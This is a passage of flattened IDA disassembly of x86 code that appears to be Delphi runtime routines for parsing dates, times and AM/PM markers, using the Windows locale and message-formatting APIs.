sub_4000D158+3Ap var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h push ebp mov ebp, esp add esp, 0FFFFFEF8h push ebx push esi mov ebx, edx mov esi, eax xor eax, eax mov [ebp+var_104], eax xor eax, eax mov [ebp+var_108], eax test ebx, ebx jz short loc_40009E8E push ebp mov eax, ebx call sub_400096A8 pop ecx jmp short loc_40009E9A ; --------------------------------------------------------------------------- loc_40009E8E: ; CODE XREF: sub_40009E60+21j push ebp mov eax, offset dword_40009EB8 call sub_400096A8 pop ecx loc_40009E9A: ; CODE XREF: sub_40009E60+2Cj lea edx, [ebp+var_100] mov eax, esi mov ecx, [ebp+var_104] call sub_40004974 pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_40009E60 endp ; --------------------------------------------------------------------------- align 4 dword_40009EB8 dd 43h ; =============== S U B R O U T I N E ======================================= sub_40009EBC proc near ; CODE XREF: sub_40009EE0+20p ; sub_40009F74+36p ... push ebx push esi push edi mov edi, edx mov esi, eax mov ebx, [edi] jmp short loc_40009EC8 ; --------------------------------------------------------------------------- loc_40009EC7: ; CODE XREF: sub_40009EBC+1Cj inc ebx loc_40009EC8: ; CODE XREF: sub_40009EBC+9j mov eax, esi call sub_40004B44 cmp ebx, eax jg short loc_40009EDA cmp byte ptr [esi+ebx-1], 20h jz short loc_40009EC7 loc_40009EDA: ; CODE XREF: sub_40009EBC+15j mov [edi], ebx pop edi pop esi pop ebx retn sub_40009EBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009EE0 proc near ; CODE XREF: sub_4000A1CC+B9p ; sub_4000A1CC+E9p ... var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov edi, eax mov [ebp+var_9], 0 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov edx, [ebp+var_4] mov eax, edi call sub_40009EBC mov ebx, [ebp+var_4] mov ebx, [ebx] xor esi, esi jmp short loc_40009F24 ; --------------------------------------------------------------------------- loc_40009F0E: ; CODE XREF: sub_40009EE0+5Fj mov eax, esi add eax, eax lea eax, [eax+eax*4] movzx edx, byte ptr [edi+ebx-1] sub dx, 30h add ax, dx mov esi, eax inc ebx loc_40009F24: ; CODE XREF: sub_40009EE0+2Cj mov eax, edi call sub_40004B44 cmp ebx, eax jg short loc_40009F41 movzx eax, byte ptr [edi+ebx-1] add al, 0D0h sub al, 0Ah jnb short loc_40009F41 cmp si, 3E8h jb short loc_40009F0E loc_40009F41: ; CODE XREF: sub_40009EE0+4Dj ; sub_40009EE0+58j mov eax, [ebp+var_4] cmp ebx, [eax] jle short loc_40009F65 mov eax, ebx mov edx, [ebp+var_4] mov edx, [edx] sub al, dl mov edx, [ebp+arg_0] mov [edx], al mov eax, [ebp+var_4] mov [eax], ebx mov eax, [ebp+var_8] mov [eax], si mov [ebp+var_9], 1 loc_40009F65: ; CODE XREF: sub_40009EE0+66j movzx eax, [ebp+var_9] pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_40009EE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40009F74 proc near ; CODE XREF: sub_4000A518+1Dp ; sub_4000A518+2Fp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi push edi xor ebx, ebx mov [ebp+var_14], ebx mov ebx, ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4000A03A push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_9], 0 test ebx, ebx jz loc_4000A024 mov edx, [ebp+var_8] mov eax, [ebp+var_4] call sub_40009EBC mov esi, ebx test esi, esi jz short loc_40009FBA sub esi, 4 mov esi, [esi] loc_40009FBA: ; CODE XREF: sub_40009F74+3Fj lea eax, [ebp+var_14] push eax mov edx, [ebp+var_8] mov edx, [edx] mov ecx, esi mov eax, [ebp+var_4] call sub_40004DA8 mov eax, [ebp+var_14] mov [ebp+var_10], eax mov esi, ebx test esi, esi jz short loc_40009FDE sub esi, 4 mov esi, [esi] loc_40009FDE: ; CODE XREF: sub_40009F74+63j mov edi, [ebp+var_10] test edi, edi jz short loc_40009FEA sub edi, 4 mov edi, [edi] loc_40009FEA: ; CODE XREF: sub_40009F74+6Fj push edi mov eax, [ebp+var_10] call sub_40004D48 push eax push esi mov eax, ebx call sub_40004D48 push eax push 1 push 400h call sub_400064F8 ; CompareStringA sub eax, 2 test eax, eax jnz short loc_4000A024 mov eax, ebx test eax, eax jz short loc_4000A01B sub eax, 4 mov eax, [eax] loc_4000A01B: ; CODE XREF: sub_40009F74+A0j mov edx, [ebp+var_8] add [edx], eax mov [ebp+var_9], 1 loc_4000A024: ; CODE XREF: sub_40009F74+2Aj ; sub_40009F74+9Aj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000A041 loc_4000A031: ; CODE XREF: sub_40009F74+CBj lea eax, [ebp+var_14] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000A03A: ; DATA XREF: sub_40009F74+19o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000A031 ; --------------------------------------------------------------------------- loc_4000A041: ; CODE XREF: sub_40009F74+C5j ; DATA XREF: sub_40009F74+B8o movzx eax, [ebp+var_9] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40009F74 endp ; =============== S U B R O U T I N E ======================================= sub_4000A04C proc near ; CODE XREF: sub_4000A1CC+D1p ; sub_4000A1CC+101p ... var_10 = byte ptr -10h push ebx push esi push edi push ecx mov [esp+10h+var_10], cl mov edi, edx mov esi, eax xor ebx, ebx mov edx, edi mov eax, esi call sub_40009EBC mov eax, esi test eax, eax jz short loc_4000A06D sub eax, 4 mov eax, [eax] loc_4000A06D: ; CODE XREF: sub_4000A04C+1Aj cmp eax, [edi] jl short loc_4000A081 mov eax, [edi] movzx eax, byte ptr [esi+eax-1] cmp al, [esp+10h+var_10] jnz short loc_4000A081 inc dword ptr [edi] mov bl, 1 loc_4000A081: ; CODE XREF: sub_4000A04C+23j ; sub_4000A04C+2Fj mov eax, ebx pop edx pop edi pop esi pop ebx retn sub_4000A04C endp ; =============== S U B R O U T I N E ======================================= sub_4000A088 proc near ; CODE XREF: sub_4000A1CC+47p push ebx push esi push edi mov esi, eax xor ebx, ebx mov edi, 1 jmp short loc_4000A0C0 ; --------------------------------------------------------------------------- loc_4000A096: ; CODE XREF: sub_4000A088+41j movzx eax, byte ptr [esi+edi-1] and al, 0DFh sub al, 44h jz short loc_4000A0BB dec al jz short loc_4000A0AF sub al, 8 jz short loc_4000A0B7 sub al, 0Ch jz short loc_4000A0B3 jmp short loc_4000A0BF ; --------------------------------------------------------------------------- loc_4000A0AF: ; CODE XREF: sub_4000A088+1Bj mov bl, 2 jmp short loc_4000A0CD ; --------------------------------------------------------------------------- loc_4000A0B3: ; CODE XREF: sub_4000A088+23j mov bl, 2 jmp short loc_4000A0CD ; --------------------------------------------------------------------------- loc_4000A0B7: ; CODE XREF: sub_4000A088+1Fj xor ebx, ebx jmp short loc_4000A0CD ; --------------------------------------------------------------------------- loc_4000A0BB: ; CODE XREF: sub_4000A088+17j mov bl, 1 jmp short loc_4000A0CD ; --------------------------------------------------------------------------- loc_4000A0BF: ; CODE XREF: sub_4000A088+25j inc edi loc_4000A0C0: ; CODE XREF: sub_4000A088+Cj mov eax, esi call sub_40004B44 cmp edi, eax jle short loc_4000A096 xor ebx, ebx loc_4000A0CD: ; CODE XREF: sub_4000A088+29j ; sub_4000A088+2Dj ... mov eax, ebx pop edi pop esi pop ebx retn sub_4000A088 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000A0D4 proc near ; CODE XREF: sub_4000A1CC+62p ; sub_4000A1CC+25Fp push ebx push esi mov ebx, edx mov esi, eax jmp short loc_4000A0FE ; --------------------------------------------------------------------------- loc_4000A0DC: ; CODE XREF: sub_4000A0D4+40j mov eax, [ebx] movzx eax, byte ptr [esi+eax-1] movzx eax, al bt dword_4001A82C, eax jnb short loc_4000A0FC mov edx, [ebx] mov eax, esi call sub_4000BBC0 mov [ebx], eax jmp short loc_4000A0FE ; --------------------------------------------------------------------------- loc_4000A0FC: ; CODE XREF: sub_4000A0D4+19j inc dword ptr [ebx] loc_4000A0FE: ; CODE XREF: sub_4000A0D4+6j ; sub_4000A0D4+26j mov eax, esi call sub_40004B44 cmp eax, [ebx] jl short loc_4000A116 mov eax, [ebx] movzx eax, byte ptr [esi+eax-1] add al, 0D0h sub al, 0Ah jnb short loc_4000A0DC loc_4000A116: ; CODE XREF: sub_4000A0D4+33j pop esi pop ebx retn sub_4000A0D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000A11C proc near ; CODE XREF: sub_4000A1CC+88p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebp, eax xor eax, eax mov [esp+14h+var_14], eax mov edi, 7 mov ebx, offset dword_4001E8D8 mov esi, offset dword_4001E8F4 loc_4000A137: ; CODE XREF: sub_4000A11C+47j cmp dword ptr [ebx], 0 jz short loc_4000A165 mov eax, ebp call sub_40004D48 push eax mov eax, [ebx] call sub_40004D48 pop edx call sub_4000BC30 test eax, eax jz short loc_4000A15C mov eax, [esi] mov [esp+14h+var_14], eax jmp short loc_4000A165 ; --------------------------------------------------------------------------- loc_4000A15C: ; CODE XREF: sub_4000A11C+37j add esi, 4 add ebx, 4 dec edi jnz short loc_4000A137 loc_4000A165: ; CODE XREF: sub_4000A11C+1Ej ; sub_4000A11C+3Ej mov eax, [esp+14h+var_14] pop edx pop ebp pop edi pop esi pop ebx retn sub_4000A11C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000A170 proc near ; CODE XREF: sub_4000A1CC+195p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, eax cmp ds:dword_4001E8CC, 12h jnz short loc_4000A1B9 cmp ebx, 63h jg short loc_4000A1A8 call sub_400092B0 movzx ecx, ax mov eax, [ebp+arg_0] mov eax, [eax-4] cdq xor eax, edx sub eax, edx add ecx, eax mov eax, ecx mov ecx, 64h cdq idiv ecx imul eax, 64h add ebx, eax loc_4000A1A8: ; CODE XREF: sub_4000A170+12j mov eax, [ebp+arg_0] cmp dword ptr [eax-4], 0 jle short loc_4000A1BF mov eax, [ebp+arg_0] neg dword ptr [eax-4] jmp short loc_4000A1BF ; --------------------------------------------------------------------------- loc_4000A1B9: ; CODE XREF: sub_4000A170+Dj mov eax, [ebp+arg_0] dec dword ptr [eax-4] loc_4000A1BF: ; CODE XREF: sub_4000A170+3Fj ; sub_4000A170+47j mov eax, [ebp+arg_0] mov eax, [eax-4] add eax, ebx pop ebx pop ebp retn sub_4000A170 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000A1CC proc near ; CODE XREF: sub_4000A710+14p ; sub_4000A780+25p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFD8h push ebx push esi push edi xor ebx, ebx mov [ebp+var_28], ebx mov [ebp+var_24], ebx mov [ebp+var_20], ebx mov [ebp+var_8], ebx mov [ebp+var_C], ecx mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_4000A4EE push dword ptr fs:[eax] mov fs:[eax], esp xor edi, edi mov [ebp+var_16], 0 mov [ebp+var_18], 0 mov [ebp+var_1C], 0 mov [ebp+var_D], 0 mov eax, ds:dword_4001E814 call sub_4000A088 mov [ebp+var_E], al xor eax, eax mov [ebp+var_4], eax mov eax, ds:dword_4001E814 cmp byte ptr [eax], 67h jnz short loc_4000A25E mov edx, ebx mov eax, esi call sub_4000A0D4 lea eax, [ebp+var_20] push eax mov ecx, [ebx] dec ecx mov edx, 1 mov eax, esi call sub_40004DA8 mov eax, [ebp+var_20] lea edx, [ebp+var_8] call sub_40007BF8 mov eax, [ebp+var_8] call sub_4000A11C mov [ebp+var_4], eax jmp short loc_4000A27A ; --------------------------------------------------------------------------- loc_4000A25E: ; CODE XREF: sub_4000A1CC+5Cj mov edx, ds:dword_4001E814 mov eax, offset dword_4000A508 call sub_4000BBF8 test eax, eax jle short loc_4000A27A mov eax, ds:dword_4001E8F4 mov [ebp+var_4], eax loc_4000A27A: ; CODE XREF: sub_4000A1CC+90j ; sub_4000A1CC+A4j lea eax, [ebp+var_19] push eax lea ecx, [ebp+var_10] mov edx, ebx mov eax, esi call sub_40009EE0 test al, al jz loc_4000A4CB mov edx, ebx movzx ecx, ds:byte_4001E811 mov eax, esi call sub_4000A04C test al, al jz loc_4000A4CB lea eax, [ebp+var_1A] push eax lea ecx, [ebp+var_12] mov edx, ebx mov eax, esi call sub_40009EE0 test al, al jz loc_4000A4CB mov edx, ebx movzx ecx, ds:byte_4001E811 mov eax, esi call sub_4000A04C test al, al jz loc_4000A3AC lea eax, [ebp+var_1B] push eax lea ecx, [ebp+var_14] mov edx, ebx mov eax, esi call sub_40009EE0 test al, al jz loc_4000A4CB movzx eax, [ebp+var_E] sub al, 1 jb short loc_4000A302 jz short loc_4000A31F dec al jz short loc_4000A33C jmp short loc_4000A357 ; --------------------------------------------------------------------------- loc_4000A302: ; CODE XREF: sub_4000A1CC+12Cj movzx edi, [ebp+var_14] movzx eax, [ebp+var_1B] mov [ebp+var_1C], al movzx eax, [ebp+var_10] mov [ebp+var_16], ax movzx eax, [ebp+var_12] mov [ebp+var_18], ax jmp short loc_4000A357 ; --------------------------------------------------------------------------- loc_4000A31F: ; CODE XREF: sub_4000A1CC+12Ej movzx edi, [ebp+var_14] movzx eax, [ebp+var_1B] mov [ebp+var_1C], al movzx eax, [ebp+var_12] mov [ebp+var_16], ax movzx eax, [ebp+var_10] mov [ebp+var_18], ax jmp short loc_4000A357 ; --------------------------------------------------------------------------- loc_4000A33C: ; CODE XREF: sub_4000A1CC+132j movzx edi, [ebp+var_10] movzx eax, [ebp+var_19] mov [ebp+var_1C], al movzx eax, [ebp+var_12] mov [ebp+var_16], ax movzx eax, [ebp+var_14] mov [ebp+var_18], ax loc_4000A357: ; CODE XREF: sub_4000A1CC+134j ; sub_4000A1CC+151j ... cmp [ebp+var_4], 0 jle short loc_4000A36B push ebp movzx eax, di call sub_4000A170 pop ecx mov edi, eax jmp short loc_4000A3DB ; --------------------------------------------------------------------------- loc_4000A36B: ; CODE XREF: sub_4000A1CC+18Fj cmp [ebp+var_1C], 2 ja short loc_4000A3DB call sub_400092B0 movzx ecx, ax movzx eax, word_4001A7F8 sub ecx, eax mov eax, ecx push ecx mov ecx, 64h cdq idiv ecx pop ecx imul ax, 64h add di, ax cmp word_4001A7F8, 0 jbe short loc_4000A3DB movzx eax, di cmp ecx, eax jle short loc_4000A3DB add di, 64h jmp short loc_4000A3DB ; --------------------------------------------------------------------------- loc_4000A3AC: ; CODE XREF: sub_4000A1CC+108j call sub_400092B0 mov edi, eax cmp [ebp+var_E], 1 jnz short loc_4000A3CB movzx eax, [ebp+var_10] mov [ebp+var_18], ax movzx eax, [ebp+var_12] mov [ebp+var_16], ax jmp short loc_4000A3DB ; --------------------------------------------------------------------------- loc_4000A3CB: ; CODE XREF: sub_4000A1CC+1EBj movzx eax, [ebp+var_10] mov [ebp+var_16], ax movzx eax, [ebp+var_12] mov [ebp+var_18], ax loc_4000A3DB: ; CODE XREF: sub_4000A1CC+19Dj ; sub_4000A1CC+1A3j ... mov edx, ebx movzx ecx, ds:byte_4001E811 mov eax, esi call sub_4000A04C mov edx, ebx mov eax, esi call sub_40009EBC cmp byte ptr ds:dword_4001E8D4, 0 jz loc_4000A4B5 mov edx, ds:dword_4001E814 mov eax, offset dword_4000A514 call sub_40004E30 test eax, eax jz loc_4000A4B5 mov eax, ds:dword_4001E828 movzx eax, byte ptr [eax] add al, 0D0h sub al, 0Ah jnb short loc_4000A439 mov edx, ebx mov eax, esi call sub_4000A0D4 jmp loc_4000A4B5 ; --------------------------------------------------------------------------- jmp short loc_4000A439 ; --------------------------------------------------------------------------- loc_4000A437: ; CODE XREF: sub_4000A1CC+27Fj inc dword ptr [ebx] loc_4000A439: ; CODE XREF: sub_4000A1CC+259j ; sub_4000A1CC+269j ... mov eax, esi call sub_40004B44 cmp eax, [ebx] jl short loc_4000A44D mov eax, [ebx] cmp byte ptr [esi+eax-1], 20h jnz short loc_4000A437 loc_4000A44D: ; CODE XREF: sub_4000A1CC+276j mov edx, ebx mov eax, esi call sub_40009EBC mov eax, esi call sub_40004B44 cmp eax, [ebx] jl short loc_4000A4B5 lea eax, [ebp+var_24] push eax mov eax, ds:dword_4001E820 call sub_40004B44 mov ecx, eax mov edx, [ebx] mov eax, esi call sub_40004DA8 mov edx, [ebp+var_24] mov eax, ds:dword_4001E820 call sub_40007BB4 test eax, eax jz short loc_4000A4B5 lea eax, [ebp+var_28] push eax mov eax, ds:dword_4001E824 call sub_40004B44 mov ecx, eax mov edx, [ebx] mov eax, esi call sub_40004DA8 mov edx, [ebp+var_28] mov eax, ds:dword_4001E824 call sub_40007BB4 test eax, eax jnz short loc_4000A439 loc_4000A4B5: ; CODE XREF: sub_4000A1CC+22Fj ; sub_4000A1CC+247j ... mov eax, [ebp+var_C] push eax movzx ecx, [ebp+var_18] movzx edx, [ebp+var_16] mov eax, edi call sub_40009050 mov [ebp+var_D], al loc_4000A4CB: ; CODE XREF: sub_4000A1CC+C0j ; sub_4000A1CC+D8j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000A4F5 loc_4000A4D8: ; CODE XREF: sub_4000A1CC+327j lea eax, [ebp+var_28] mov edx, 3 call sub_400048A8 lea eax, [ebp+var_8] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000A4EE: ; DATA XREF: sub_4000A1CC+21o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000A4D8 ; --------------------------------------------------------------------------- loc_4000A4F5: ; CODE XREF: sub_4000A1CC+321j ; DATA XREF: sub_4000A1CC+307o movzx eax, [ebp+var_D] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000A1CC endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_4000A508 dd 65h, 0FFFFFFFFh, 3dword_4000A514 dd 646464h ; =============== S U B R O U T I N E ======================================= sub_4000A518 proc near ; CODE XREF: sub_4000A748+14p ; sub_4000A780+4Ep var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_14 = byte ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF0h mov [esp+20h+var_20], ecx mov esi, edx mov ebp, eax xor ebx, ebx or edi, 0FFFFFFFFh mov edx, esi mov ecx, ds:dword_4001E820 mov eax, ebp call sub_40009F74 test al, al jnz short loc_4000A550 mov edx, esi mov ecx, offset dword_4000A700 mov eax, ebp call sub_40009F74 test al, al jz short loc_4000A554 loc_4000A550: ; CODE XREF: sub_4000A518+24j xor edi, edi jmp short loc_4000A57E ; --------------------------------------------------------------------------- loc_4000A554: ; CODE XREF: sub_4000A518+36j mov edx, esi mov ecx, ds:dword_4001E824 mov eax, ebp call sub_40009F74 test al, al jnz short loc_4000A579 mov edx, esi mov ecx, offset dword_4000A70C mov eax, ebp call sub_40009F74 test al, al jz short loc_4000A57E loc_4000A579: ; CODE XREF: sub_4000A518+4Dj mov edi, 0Ch loc_4000A57E: ; CODE XREF: sub_4000A518+3Aj ; sub_4000A518+5Fj test edi, edi jl short loc_4000A58B mov edx, esi mov eax, ebp call sub_40009EBC loc_4000A58B: ; CODE XREF: sub_4000A518+68j lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_1C] mov edx, esi mov eax, ebp call sub_40009EE0 test al, al jz loc_4000A6ED mov [esp+20h+var_1A], 0 mov [esp+20h+var_18], 0 mov [esp+20h+var_16], 0 mov edx, esi movzx ecx, ds:byte_4001E81C mov eax, ebp call sub_4000A04C test al, al jz short loc_4000A644 lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_1A] mov edx, esi mov eax, ebp call sub_40009EE0 test al, al jz loc_4000A6ED mov edx, esi movzx ecx, ds:byte_4001E81C mov eax, ebp call sub_4000A04C test al, al jz short loc_4000A644 lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_18] mov edx, esi mov eax, ebp call sub_40009EE0 test al, al jz loc_4000A6ED mov edx, esi movzx ecx, ds:byte_4001E80F mov eax, ebp call sub_4000A04C test al, al jz short loc_4000A644 lea eax, [esp+20h+var_14] push eax lea ecx, [esp+24h+var_16] mov edx, esi mov eax, ebp call sub_40009EE0 test al, al jz loc_4000A6ED loc_4000A644: ; CODE XREF: sub_4000A518+B4j ; sub_4000A518+E2j ... test edi, edi jge short loc_4000A69B mov edx, esi mov ecx, ds:dword_4001E820 mov eax, ebp call sub_40009F74 test al, al jnz short loc_4000A66D mov edx, esi mov ecx, offset dword_4000A700 mov eax, ebp call sub_40009F74 test al, al jz short loc_4000A671 loc_4000A66D: ; CODE XREF: sub_4000A518+141j xor edi, edi jmp short loc_4000A69B ; --------------------------------------------------------------------------- loc_4000A671: ; CODE XREF: sub_4000A518+153j mov edx, esi mov ecx, ds:dword_4001E824 mov eax, ebp call sub_40009F74 test al, al jnz short loc_4000A696 mov edx, esi mov ecx, offset dword_4000A70C mov eax, ebp call sub_40009F74 test al, al jz short loc_4000A69B loc_4000A696: ; CODE XREF: sub_4000A518+16Aj mov edi, 0Ch loc_4000A69B: ; CODE XREF: sub_4000A518+12Ej ; sub_4000A518+157j ... test edi, edi jl short loc_4000A6C3 cmp [esp+20h+var_1C], 0 jz short loc_4000A6ED cmp [esp+20h+var_1C], 0Ch ja short loc_4000A6ED cmp [esp+20h+var_1C], 0Ch jnz short loc_4000A6BE mov [esp+20h+var_1C], 0 loc_4000A6BE: ; CODE XREF: sub_4000A518+19Dj add [esp+20h+var_1C], di loc_4000A6C3: ; CODE XREF: sub_4000A518+185j mov edx, esi mov eax, ebp call sub_40009EBC movzx eax, [esp+20h+var_16] push eax mov eax, [esp+24h+var_20] push eax movzx ecx, [esp+28h+var_18] movzx edx, [esp+28h+var_1A] movzx eax, [esp+28h+var_1C] call sub_40008F48 mov ebx, eax loc_4000A6ED: ; CODE XREF: sub_4000A518+87j ; sub_4000A518+CAj ... mov eax, ebx add esp, 10h pop ebp pop edi pop esi pop ebx retn sub_4000A518 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_4000A700 dd 4D41h, 0FFFFFFFFh, 2 ; sub_4000A518+145o dword_4000A70C dd 4D50h ; sub_4000A518+16Eo ; =============== S U B R O U T I N E ======================================= sub_4000A710 proc near ; CODE XREF: sub_40010874+69p var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov [esp+0Ch+var_C], 1 mov ecx, esi mov edx, esp mov eax, ebx call sub_4000A1CC test al, al jz short loc_4000A740 mov eax, ebx test eax, eax jz short loc_4000A738 sub eax, 4 mov eax, [eax] loc_4000A738: ; CODE XREF: sub_4000A710+21j cmp eax, [esp+0Ch+var_C] setl al jmp short loc_4000A742 ; --------------------------------------------------------------------------- loc_4000A740: ; CODE XREF: sub_4000A710+1Bj xor eax, eax loc_4000A742: ; CODE XREF: sub_4000A710+2Ej pop edx pop esi pop ebx retn sub_4000A710 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000A748 proc near ; CODE XREF: sub_4000A780+5Dp var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov [esp+0Ch+var_C], 1 mov ecx, esi mov edx, esp mov eax, ebx call sub_4000A518 test al, al jz short loc_4000A778 mov eax, ebx test eax, eax jz short loc_4000A770 sub eax, 4 mov eax, [eax] loc_4000A770: ; CODE XREF: sub_4000A748+21j cmp eax, [esp+0Ch+var_C] setl al jmp short loc_4000A77A ; --------------------------------------------------------------------------- loc_4000A778: ; CODE XREF: sub_4000A748+1Bj xor eax, eax loc_4000A77A: ; CODE XREF: sub_4000A748+2Ej pop edx pop esi pop ebx retn sub_4000A748 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000A780 proc near ; CODE XREF: sub_4000CF90+35p var_24 = dword ptr -24h var_1C = qword ptr -1Ch var_14 = qword ptr -14h push ebx push esi push edi add esp, 0FFFFFFE8h mov edi, edx mov esi, eax mov bl, 1 mov [esp+24h+var_24], 1 xor eax, eax mov dword ptr [esp+24h+var_14], eax mov dword ptr [esp+24h+var_14+4], eax lea ecx, [esp+24h+var_1C] mov edx, esp mov eax, esi call sub_4000A1CC test al, al jnz short loc_4000A7B2 mov al, 1 jmp short loc_4000A7D5 ; --------------------------------------------------------------------------- loc_4000A7B2: ; CODE XREF: sub_4000A780+2Cj mov eax, esi test eax, eax jz short loc_4000A7BD sub eax, 4 mov eax, [eax] loc_4000A7BD: ; CODE XREF: sub_4000A780+36j cmp eax, [esp+24h+var_24] jge short loc_4000A7C6 mov al, 1 jmp short loc_4000A7D3 ; --------------------------------------------------------------------------- loc_4000A7C6: ; CODE XREF: sub_4000A780+40j lea ecx, [esp+24h+var_14] mov edx, esp mov eax, esi call sub_4000A518 loc_4000A7D3: ; CODE XREF: sub_4000A780+44j xor al, 1 loc_4000A7D5: ; CODE XREF: sub_4000A780+30j test al, al jz short loc_4000A7E6 mov edx, edi mov eax, esi call sub_4000A748 mov ebx, eax jmp short loc_4000A80E ; --------------------------------------------------------------------------- loc_4000A7E6: ; CODE XREF: sub_4000A780+57j fld [esp+24h+var_1C] fcomp ds:flt_4000A818 fstsw ax sahf jb short loc_4000A803 fld [esp+24h+var_1C] fadd [esp+24h+var_14] fstp qword ptr [edi] wait jmp short loc_4000A80E ; --------------------------------------------------------------------------- loc_4000A803: ; CODE XREF: sub_4000A780+74j fld [esp+24h+var_1C] fsub [esp+24h+var_14] fstp qword ptr [edi] wait loc_4000A80E: ; CODE XREF: sub_4000A780+64j ; sub_4000A780+81j mov eax, ebx add esp, 18h pop edi pop esi pop ebx retn sub_4000A780 endp ; --------------------------------------------------------------------------- align 4 flt_4000A818 dd 0.0 ; DATA XREF: sub_4000A780+6Ar ; =============== S U B R O U T I N E ======================================= sub_4000A81C proc near ; CODE XREF: sub_4000C41C+2Cp ; sub_4000DDD4+1E7p ... var_105 = byte ptr -105h var_104 = byte ptr -104h push ebx add esp, 0FFFFFF00h mov ebx, edx push 0 push 100h lea edx, [esp+10Ch+var_104] push edx push 0 push eax push 0 push 3200h call sub_40006540 ; FormatMessageA jmp short loc_4000A843 ; --------------------------------------------------------------------------- loc_4000A842: ; CODE XREF: sub_4000A81C+33j ; sub_4000A81C+38j dec eax loc_4000A843: ; CODE XREF: sub_4000A81C+24j test eax, eax jle short loc_4000A856 movzx edx, [esp+eax+104h+var_105] sub dl, 21h jb short loc_4000A842 sub dl, 0Dh jz short loc_4000A842 loc_4000A856: ; CODE XREF: sub_4000A81C+29j mov edx, esp mov ecx, ebx xchg eax, ecx call sub_40004974 add esp, 100h pop ebx retn sub_4000A81C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000A868 proc near ; CODE XREF: sub_4000A8E0+1Cp ; sub_4000AAF4+27p ... var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h lea ecx, [ebp+var_100] push ecx push edx push eax call sub_40006590 ; GetLocaleInfoA test eax, eax jle short loc_4000A8A1 mov ecx, eax dec ecx lea edx, [ebp+var_100] mov eax, ebx call sub_40004974 jmp short loc_4000A8AA ; --------------------------------------------------------------------------- loc_4000A8A1: ; CODE XREF: sub_4000A868+25j mov eax, ebx mov edx, esi call sub_400048D8 loc_4000A8AA: ; CODE XREF: sub_4000A868+37j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4000A868 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000A8B4 proc near ; CODE XREF: sub_4000BE64+ADp ; sub_4000BE64+C0p ... var_10 = byte ptr -10h push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 lea eax, [esp+14h+var_10] push eax push esi push edi call sub_40006590 ; GetLocaleInfoA test eax, eax jle short loc_4000A8D6 movzx eax, [esp+10h+var_10] jmp short loc_4000A8D8 ; --------------------------------------------------------------------------- loc_4000A8D6: ; CODE XREF: sub_4000A8B4+1Aj mov eax, ebx loc_4000A8D8: ; CODE XREF: sub_4000A8B4+20j pop edx pop edi pop esi pop ebx retn sub_4000A8B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000A8E0 proc near ; CODE XREF: sub_4000A91C+46p ; sub_4000A91C+69p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push 